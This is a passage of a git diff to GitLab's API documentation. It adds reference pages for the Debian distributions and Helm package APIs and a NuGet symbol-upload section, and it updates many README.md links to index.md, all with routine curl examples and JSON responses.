+```ruby
+Feature.disable(:debian_packages)
+```
+
+## List all Debian distributions in a group
+
+Lists Debian distributions in the given group.
+
+```plaintext
+GET /groups/:id/debian_distributions
+```
+
+| Attribute | Type | Required | Description |
+| ---------- | --------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding). |
+| `codename` | string | no | Filter with specific `codename`. |
+| `suite` | string | no | Filter with specific `suite`. |
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/debian_distributions"
+```
+
+Example response:
+
+```json
+[
+ {
+ "id": 1,
+ "codename": "unstable",
+ "suite": null,
+ "origin": null,
+ "label": null,
+ "version": null,
+ "description": null,
+ "valid_time_duration_seconds": null,
+ "components": [
+ "main"
+ ],
+ "architectures": [
+ "all",
+ "amd64"
+ ]
+ }
+]
+```
+
+## Single Debian group distribution
+
+Gets a single Debian group distribution.
+
+```plaintext
+GET /groups/:id/debian_distributions/:codename
+```
+
+| Attribute | Type | Required | Description |
+| ---------- | -------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `codename` | integer | yes | The `codename` of a distribution. |
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/debian_distributions/unstable"
+```
+
+Example response:
+
+```json
+{
+ "id": 1,
+ "codename": "unstable",
+ "suite": null,
+ "origin": null,
+ "label": null,
+ "version": null,
+ "description": null,
+ "valid_time_duration_seconds": null,
+ "components": [
+ "main"
+ ],
+ "architectures": [
+ "all",
+ "amd64"
+ ]
+}
+```
+
+## Create a Debian group distribution
+
+Creates a Debian group distribution.
+
+```plaintext
+POST /groups/:id/debian_distributions
+```
+
+| Attribute | Type | Required | Description |
+| ----------------------------- | -------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `codename` | string | yes | The codename of a Debian distribution. |
+| `suite` | string | no | The suite of the new Debian distribution. |
+| `origin` | string | no | The origin of the new Debian distribution. |
+| `label` | string | no | The label of the new Debian distribution. |
+| `version` | string | no | The version of the new Debian distribution. |
+| `description` | string | no | The description of the new Debian distribution. |
+| `valid_time_duration_seconds` | integer | no | The valid time duration (in seconds) of the new Debian distribution. |
+| `components` | architectures | no | The new Debian distribution's list of components. |
+| `architectures` | architectures | no | The new Debian distribution's list of architectures. |
+
+```shell
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/debian_distributions?codename=unstable"
+```
+
+Example response:
+
+```json
+{
+ "id": 1,
+ "codename": "unstable",
+ "suite": null,
+ "origin": null,
+ "label": null,
+ "version": null,
+ "description": null,
+ "valid_time_duration_seconds": null,
+ "components": [
+ "main"
+ ],
+ "architectures": [
+ "all",
+ "amd64"
+ ]
+}
+```
+
+## Update a Debian group distribution
+
+Updates a Debian group distribution.
+
+```plaintext
+PUT /groups/:id/debian_distributions/:codename
+```
+
+| Attribute | Type | Required | Description |
+| ----------------------------- | -------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `codename` | string | yes | The Debian distribution's new codename. |
+| `suite` | string | no | The Debian distribution's new suite. |
+| `origin` | string | no | The Debian distribution's new origin. |
+| `label` | string | no | The Debian distribution's new label. |
+| `version` | string | no | The Debian distribution's new version. |
+| `description` | string | no | The Debian distribution's new description. |
+| `valid_time_duration_seconds` | integer | no | The Debian distribution's new valid time duration (in seconds). |
+| `components` | architectures | no | The Debian distribution's new list of components. |
+| `architectures` | architectures | no | The Debian distribution's new list of architectures. |
+
+```shell
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/debian_distributions/unstable?suite=new-suite&valid_time_duration_seconds=604800"
+```
+
+Example response:
+
+```json
+{
+ "id": 1,
+ "codename": "unstable",
+ "suite": "new-suite",
+ "origin": null,
+ "label": null,
+ "version": null,
+ "description": null,
+ "valid_time_duration_seconds": 604800,
+ "components": [
+ "main"
+ ],
+ "architectures": [
+ "all",
+ "amd64"
+ ]
+}
+```
+
+## Delete a Debian group distribution
+
+Deletes a Debian group distribution.
+
+```plaintext
+DELETE /groups/:id/debian_distributions/:codename
+```
+
+| Attribute | Type | Required | Description |
+| ---------- | -------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `codename` | integer | yes | The codename of the Debian distribution. |
+
+```shell
+curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/debian_distributions/unstable"
+```
diff --git a/doc/api/packages/debian_project_distributions.md b/doc/api/packages/debian_project_distributions.md
new file mode 100644
index 00000000000..aad5558dcba
--- /dev/null
+++ b/doc/api/packages/debian_project_distributions.md
@@ -0,0 +1,222 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Debian project distributions API **(FREE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5835) in GitLab 14.0.
+
+See the [Debian package registry documentation](../../user/packages/debian_repository/index.md)
+for more information about working with Debian packages.
+
+## Enable Debian repository feature
+
+Debian repository support is gated behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can opt to enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:debian_packages)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:debian_packages)
+```
+
+## List all Debian distributions in a project
+
+Lists Debian distributions in the given project.
+
+```plaintext
+GET /projects/:id/debian_distributions
+```
+
+| Attribute | Type | Required | Description |
+| ---------- | -------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). |
+| `codename` | string | no | Filter with a specific `codename`. |
+| `suite` | string | no | Filter with a specific `suite`. |
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/debian_distributions"
+```
+
+Example response:
+
+```json
+[
+ {
+ "id": 1,
+ "codename": "unstable",
+ "suite": null,
+ "origin": null,
+ "label": null,
+ "version": null,
+ "description": null,
+ "valid_time_duration_seconds": null,
+ "components": [
+ "main"
+ ],
+ "architectures": [
+ "all",
+ "amd64"
+ ]
+ }
+]
+```
+
+## Single Debian project distribution
+
+Gets a single Debian project distribution.
+
+```plaintext
+GET /projects/:id/debian_distributions/:codename
+```
+
+| Attribute | Type | Required | Description |
+| ---------- | -------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `codename` | integer | yes | The `codename` of a distribution. |
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/debian_distributions/unstable"
+```
+
+Example response:
+
+```json
+{
+ "id": 1,
+ "codename": "unstable",
+ "suite": null,
+ "origin": null,
+ "label": null,
+ "version": null,
+ "description": null,
+ "valid_time_duration_seconds": null,
+ "components": [
+ "main"
+ ],
+ "architectures": [
+ "all",
+ "amd64"
+ ]
+}
+```
+
+## Create a Debian project distribution
+
+Creates a Debian project distribution.
+
+```plaintext
+POST /projects/:id/debian_distributions
+```
+
+| Attribute | Type | Required | Description |
+| ----------------------------- | -------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `codename` | string | yes | The Debian distribution's codename. |
+| `suite` | string | no | The new Debian distribution's suite. |
+| `origin` | string | no | The new Debian distribution's origin. |
+| `label` | string | no | The new Debian distribution's label. |
+| `version` | string | no | The new Debian distribution's version. |
+| `description` | string | no | The new Debian distribution's description. |
+| `valid_time_duration_seconds` | integer | no | The new Debian distribution's valid time duration (in seconds). |
+| `components` | architectures | no | The new Debian distribution's list of components. |
+| `architectures` | architectures | no | The new Debian distribution's list of architectures. |
+
+```shell
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/debian_distributions?codename=unstable"
+```
+
+Example response:
+
+```json
+{
+ "id": 1,
+ "codename": "unstable",
+ "suite": null,
+ "origin": null,
+ "label": null,
+ "version": null,
+ "description": null,
+ "valid_time_duration_seconds": null,
+ "components": [
+ "main"
+ ],
+ "architectures": [
+ "all",
+ "amd64"
+ ]
+}
+```
+
+## Update a Debian project distribution
+
+Updates a Debian project distribution.
+
+```plaintext
+PUT /projects/:id/debian_distributions/:codename
+```
+
+| Attribute | Type | Required | Description |
+| ----------------------------- | -------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `codename` | string | yes | The Debian distribution's codename. |
+| `suite` | string | no | The Debian distribution's new suite. |
+| `origin` | string | no | The Debian distribution's new origin. |
+| `label` | string | no | The Debian distribution's new label. |
+| `version` | string | no | The Debian distribution's new version. |
+| `description` | string | no | The Debian distribution's new description. |
+| `valid_time_duration_seconds` | integer | no | The Debian distribution's new valid time duration (in seconds). |
+| `components` | architectures | no | The Debian distribution's new list of components. |
+| `architectures` | architectures | no | The Debian distribution's new list of architectures. |
+
+```shell
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/debian_distributions/unstable?suite=new-suite&valid_time_duration_seconds=604800"
+```
+
+Example response:
+
+```json
+{
+ "id": 1,
+ "codename": "unstable",
+ "suite": "new-suite",
+ "origin": null,
+ "label": null,
+ "version": null,
+ "description": null,
+ "valid_time_duration_seconds": 604800,
+ "components": [
+ "main"
+ ],
+ "architectures": [
+ "all",
+ "amd64"
+ ]
+}
+```
+
+## Delete a Debian project distribution
+
+Deletes a Debian project distribution.
+
+```plaintext
+DELETE /projects/:id/debian_distributions/:codename
+```
+
+| Attribute | Type | Required | Description |
+| ---------- | -------------- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `codename` | integer | yes | The Debian distribution's codename. |
+
+```shell
+curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/debian_distributions/unstable"
+```
diff --git a/doc/api/packages/helm.md b/doc/api/packages/helm.md
new file mode 100644
index 00000000000..a76fa9d3755
--- /dev/null
+++ b/doc/api/packages/helm.md
@@ -0,0 +1,96 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Helm API
+
+This is the API documentation for [Helm](../../user/packages/helm_repository/index.md).
+
+WARNING:
+This API is used by the Helm-related package clients such as [Helm](https://helm.sh/)
+and [`helm-push`](https://github.com/chartmuseum/helm-push/#readme),
+and is generally not meant for manual consumption. This API is under development and is not ready
+for production use due to limited functionality.
+
+For instructions on how to upload and install Helm packages from the GitLab
+Package Registry, see the [Helm registry documentation](../../user/packages/helm_repository/index.md).
+
+NOTE:
+These endpoints do not adhere to the standard API authentication methods.
+See the [Helm registry documentation](../../user/packages/helm_repository/index.md)
+for details on which headers and token types are supported.
+
+## Download a chart index
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62757) in GitLab 14.1.
+
+Download a chart index:
+
+```plaintext
+GET projects/:id/packages/helm/:channel/index.yaml
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+| `channel` | string | yes | Helm repository channel. |
+
+```shell
+curl --user <username>:<personal_access_token> \
+ https://gitlab.example.com/api/v4/projects/1/packages/helm/stable/index.yaml
+```
+
+Write the output to a file:
+
+```shell
+curl --user <username>:<personal_access_token> \
+ https://gitlab.example.com/api/v4/projects/1/packages/helm/stable/index.yaml \
+ --remote-name
+```
+
+## Download a chart
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61014) in GitLab 14.0.
+
+Download a chart:
+
+```plaintext
+GET projects/:id/packages/helm/:channel/charts/:file_name.tgz
+```
+
+| Attribute | Type | Required | Description |
+| ----------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+| `channel` | string | yes | Helm repository channel. |
+| `file_name` | string | yes | Chart file name. |
+
+```shell
+curl --user <username>:<personal_access_token> \
+ https://gitlab.example.com/api/v4/projects/1/packages/helm/stable/charts/mychart.tgz \
+ --remote-name
+```
+
+## Upload a chart
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64814) in GitLab 14.1.
+
+Upload a chart:
+
+```plaintext
+POST projects/:id/packages/helm/api/:channel/charts
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+| `channel` | string | yes | Helm repository channel. |
+| `chart` | file | yes | Chart (as `multipart/form-data`). |
+
+```shell
+curl --request POST \
+ --form 'chart=@mychart.tgz' \
+ --user <username>:<personal_access_token> \
+ https://gitlab.example.com/api/v4/projects/1/packages/helm/api/stable/charts
+```
diff --git a/doc/api/packages/nuget.md b/doc/api/packages/nuget.md
index bbcb2cb9bc4..d19e2dfa65b 100644
--- a/doc/api/packages/nuget.md
+++ b/doc/api/packages/nuget.md
@@ -102,6 +102,30 @@ curl --request PUT \
"https://gitlab.example.com/api/v4/projects/1/packages/nuget"
```
+## Upload a symbol package file
+
+> Introduced in GitLab 12.8.
+
+Upload a NuGet symbol package file (`.snupkg`):
+
+```plaintext
+PUT projects/:id/packages/nuget/symbolpackage
+```
+
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the project. |
+| `package_name` | string | yes | The name of the package. |
+| `package_version` | string | yes | The version of the package. |
+| `package_filename`| string | yes | The name of the file. |
+
+```shell
+curl --request PUT \
+ --upload-file path/to/mynugetpkg.1.3.0.17.snupkg \
+ --user <username>:<personal_access_token> \
+ "https://gitlab.example.com/api/v4/projects/1/packages/nuget/symbolpackage"
+```
+
## Route prefix
For the remaining routes, there are two sets of identical routes that each make requests in
@@ -193,6 +217,11 @@ Example response:
"@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget",
"@type": "PackagePublish/2.0.0",
"comment": "Push and delete (or unlist) packages."
+ },
+ {
+ "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/symbolpackage",
+ "@type": "SymbolPackagePublish/4.9.0",
+ "comment": "Push symbol packages."
}
]
}
diff --git a/doc/api/packages/pypi.md b/doc/api/packages/pypi.md
index 77ba028c447..dd301e9fab8 100644
--- a/doc/api/packages/pypi.md
+++ b/doc/api/packages/pypi.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
This is the API documentation for [PyPI Packages](../../user/packages/pypi_repository/index.md).
WARNING:
-This API is used by the [PyPI package manager client](https://pypi.apache.org/)
+This API is used by the [PyPI package manager client](https://pypi.org/)
and is generally not meant for manual consumption.
For instructions on how to upload and install PyPI packages from the GitLab
diff --git a/doc/api/pages.md b/doc/api/pages.md
index 0a79d23b51e..ef6523520de 100644
--- a/doc/api/pages.md
+++ b/doc/api/pages.md
@@ -20,7 +20,7 @@ DELETE /projects/:id/pages
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ---------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --request 'DELETE' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/2/pages"
diff --git a/doc/api/pages_domains.md b/doc/api/pages_domains.md
index fbea365e3d5..46d92db9853 100644
--- a/doc/api/pages_domains.md
+++ b/doc/api/pages_domains.md
@@ -47,7 +47,7 @@ GET /projects/:id/pages/domains
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ---------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/pages/domains"
@@ -83,7 +83,7 @@ GET /projects/:id/pages/domains/:domain
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ---------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `domain` | string | yes | The custom domain indicated by the user |
```shell
@@ -125,7 +125,7 @@ POST /projects/:id/pages/domains
| Attribute | Type | Required | Description |
| -------------------| -------------- | -------- | ---------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `domain` | string | yes | The custom domain indicated by the user |
| `auto_ssl_enabled` | boolean | no | Enables [automatic generation](../user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md) of SSL certificates issued by Let's Encrypt for custom domains. |
| `certificate` | file/string | no | The certificate in PEM format with intermediates following in most specific to least specific order.|
@@ -178,7 +178,7 @@ PUT /projects/:id/pages/domains/:domain
| Attribute | Type | Required | Description |
| ------------------ | -------------- | -------- | ---------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `domain` | string | yes | The custom domain indicated by the user |
| `auto_ssl_enabled` | boolean | no | Enables [automatic generation](../user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md) of SSL certificates issued by Let's Encrypt for custom domains. |
| `certificate` | file/string | no | The certificate in PEM format with intermediates following in most specific to least specific order.|
@@ -256,7 +256,7 @@ DELETE /projects/:id/pages/domains/:domain
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ---------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `domain` | string | yes | The custom domain indicated by the user |
```shell
diff --git a/doc/api/pipeline_schedules.md b/doc/api/pipeline_schedules.md
index afb5d434fe7..74f96e5374e 100644
--- a/doc/api/pipeline_schedules.md
+++ b/doc/api/pipeline_schedules.md
@@ -18,7 +18,7 @@ GET /projects/:id/pipeline_schedules
| Attribute | Type | required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `scope` | string | no | The scope of pipeline schedules, one of: `active`, `inactive` |
```shell
@@ -59,7 +59,7 @@ GET /projects/:id/pipeline_schedules/:pipeline_schedule_id
| Attribute | Type | required | Description |
|--------------|---------|----------|--------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID |
```shell
@@ -111,7 +111,7 @@ POST /projects/:id/pipeline_schedules
| Attribute | Type | required | Description |
|-----------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `description` | string | yes | The description of the pipeline schedule. |
| `ref` | string | yes | The branch or tag name that is triggered. |
| `cron` | string | yes | The [cron](https://en.wikipedia.org/wiki/Cron) schedule, for example: `0 1 * * *`. |
@@ -157,7 +157,7 @@ PUT /projects/:id/pipeline_schedules/:pipeline_schedule_id
| Attribute | Type | required | Description |
|------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID. |
| `description` | string | no | The description of the pipeline schedule. |
| `ref` | string | no | The branch or tag name that is triggered. |
@@ -208,7 +208,7 @@ POST /projects/:id/pipeline_schedules/:pipeline_schedule_id/take_ownership
| Attribute | Type | required | Description |
|---------------|---------|----------|--------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID |
```shell
@@ -253,7 +253,7 @@ DELETE /projects/:id/pipeline_schedules/:pipeline_schedule_id
| Attribute | Type | required | Description |
|----------------|---------|----------|--------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID |
```shell
@@ -301,7 +301,7 @@ POST /projects/:id/pipeline_schedules/:pipeline_schedule_id/play
| Attribute | Type | required | Description |
| ---------------- | --------- | ---------- | -------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID |
Example request:
@@ -330,7 +330,7 @@ POST /projects/:id/pipeline_schedules/:pipeline_schedule_id/variables
| Attribute | Type | required | Description |
|------------------------|----------------|----------|--------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID |
| `key` | string | yes | The `key` of a variable; must have no more than 255 characters; only `A-Z`, `a-z`, `0-9`, and `_` are allowed |
| `value` | string | yes | The `value` of a variable |
@@ -359,7 +359,7 @@ PUT /projects/:id/pipeline_schedules/:pipeline_schedule_id/variables/:key
| Attribute | Type | required | Description |
|------------------------|----------------|----------|--------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID |
| `key` | string | yes | The `key` of a variable |
| `value` | string | yes | The `value` of a variable |
@@ -389,7 +389,7 @@ DELETE /projects/:id/pipeline_schedules/:pipeline_schedule_id/variables/:key
| Attribute | Type | required | Description |
|------------------------|----------------|----------|--------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID |
| `key` | string | yes | The `key` of a variable |
diff --git a/doc/api/pipeline_triggers.md b/doc/api/pipeline_triggers.md
index 94122a40b2d..2fe3f487ebc 100644
--- a/doc/api/pipeline_triggers.md
+++ b/doc/api/pipeline_triggers.md
@@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Pipeline triggers API **(FREE)**
-You can read more about [triggering pipelines through the API](../ci/triggers/README.md).
+You can read more about [triggering pipelines through the API](../ci/triggers/index.md).
## List project triggers
@@ -18,7 +18,7 @@ GET /projects/:id/triggers
| Attribute | Type | required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/triggers"
@@ -48,7 +48,7 @@ GET /projects/:id/triggers/:trigger_id
| Attribute | Type | required | Description |
|--------------|---------|----------|--------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `trigger_id` | integer | yes | The trigger ID |
```shell
@@ -77,7 +77,7 @@ POST /projects/:id/triggers
| Attribute | Type | required | Description |
|---------------|---------|----------|--------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `description` | string | yes | The trigger name |
```shell
@@ -107,7 +107,7 @@ PUT /projects/:id/triggers/:trigger_id
| Attribute | Type | required | Description |
|---------------|---------|----------|--------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `trigger_id` | integer | yes | The trigger ID |
| `description` | string | no | The trigger name |
@@ -138,7 +138,7 @@ DELETE /projects/:id/triggers/:trigger_id
| Attribute | Type | required | Description |
|----------------|---------|----------|--------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `trigger_id` | integer | yes | The trigger ID |
```shell
diff --git a/doc/api/pipelines.md b/doc/api/pipelines.md
index 57c356ccf29..7d433923865 100644
--- a/doc/api/pipelines.md
+++ b/doc/api/pipelines.md
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36494) in GitLab 13.3.
Endpoints that request information about a single pipeline return data for any pipeline.
-Before 13.3, requests for [child pipelines](../ci/parent_child_pipelines.md) returned
+Before 13.3, requests for [child pipelines](../ci/pipelines/parent_child_pipelines.md) returned
a 404 error.
## Pipelines pagination
@@ -19,7 +19,7 @@ a 404 error.
By default, `GET` requests return 20 results at a time because the API results
are paginated.
-Read more on [pagination](README.md#pagination).
+Read more on [pagination](index.md#pagination).
## List project pipelines
@@ -29,7 +29,7 @@ GET /projects/:id/pipelines
| Attribute | Type | Required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `scope` | string | no | The scope of pipelines, one of: `running`, `pending`, `finished`, `branches`, `tags` |
| `status` | string | no | The status of pipelines, one of: `created`, `waiting_for_resource`, `preparing`, `pending`, `running`, `success`, `failed`, `canceled`, `skipped`, `manual`, `scheduled` |
| `ref` | string | no | The ref of pipelines |
@@ -81,7 +81,7 @@ GET /projects/:id/pipelines/:pipeline_id
| Attribute | Type | Required | Description |
|------------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_id` | integer | yes | The ID of a pipeline |
```shell
@@ -128,7 +128,7 @@ GET /projects/:id/pipelines/:pipeline_id/variables
| Attribute | Type | Required | Description |
|------------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_id` | integer | yes | The ID of a pipeline |
```shell
@@ -164,7 +164,7 @@ GET /projects/:id/pipelines/:pipeline_id/test_report
| Attribute | Type | Required | Description |
|------------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `pipeline_id` | integer | yes | The ID of a pipeline |
Sample request:
@@ -215,7 +215,7 @@ POST /projects/:id/pipeline
| Attribute | Type | Required | Description |
|-------------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
